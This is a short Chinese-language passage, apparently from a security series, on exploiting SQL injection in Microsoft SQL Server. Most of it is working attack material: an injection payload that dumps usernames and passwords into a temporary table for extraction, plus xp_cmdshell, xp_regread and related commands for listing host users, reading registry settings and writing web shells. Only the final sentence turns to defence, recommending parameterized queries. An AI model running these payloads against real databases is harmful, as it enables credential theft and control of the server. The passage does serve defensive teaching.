利用型別轉換錯誤將查詢結果強制顯示於錯誤訊息中:
DECLARE @ret VARCHAR(8000);
SET @ret = ':';
SELECT @ret = @ret + ' ' + username + '/' + password FROM users WHERE username > @ret;
SELECT @ret AS ret INTO foo; -- 建立臨時表暫存
攻擊者注入:
'; BEGIN DECLARE @ret VARCHAR(8000) SET @ret=':' SELECT @ret=@ret+' '+username+'/'+password FROM users WHERE username>@ret SELECT @ret AS ret INTO foo END--
再以 UNION SELECT ret,1,1,1 FROM foo 逐批提取,最後 DROP TABLE foo 清理。
xp_cmdshell 執行系統命令xp_regread 讀取註冊表/SAMBULK INSERT 讀取伺服器任意檔案BCP 寫入 Web Shell/腳本sp_OACreate 建立 COM 物件執行任意代碼EXEC master..xp_cmdshell 'dir'; -- 列出工作目錄
EXEC master..xp_cmdshell 'net1 user'; -- 列出主機用戶
EXEC xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares';
EXEC xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities';
可竄改空會話共享、SNMP 社群字串,進而控制網路設備。
xp_servicecontrol 啟動排程/伺服器服務xp_availablemedia 列出磁碟機xp_dirtree 取得目錄樹xp_enumdsn 列舉 ODBC 資料源xp_loginconfig 檢視安全模式xp_makecab 建立壓縮檔xp_ntsec_enumdomains 列舉可達網域此系列文檔旨在揭示注入成功後的後續利用鏈,強調預防注入(參數化)是唯一根本對策,事後緩解僅為縱深防禦補充。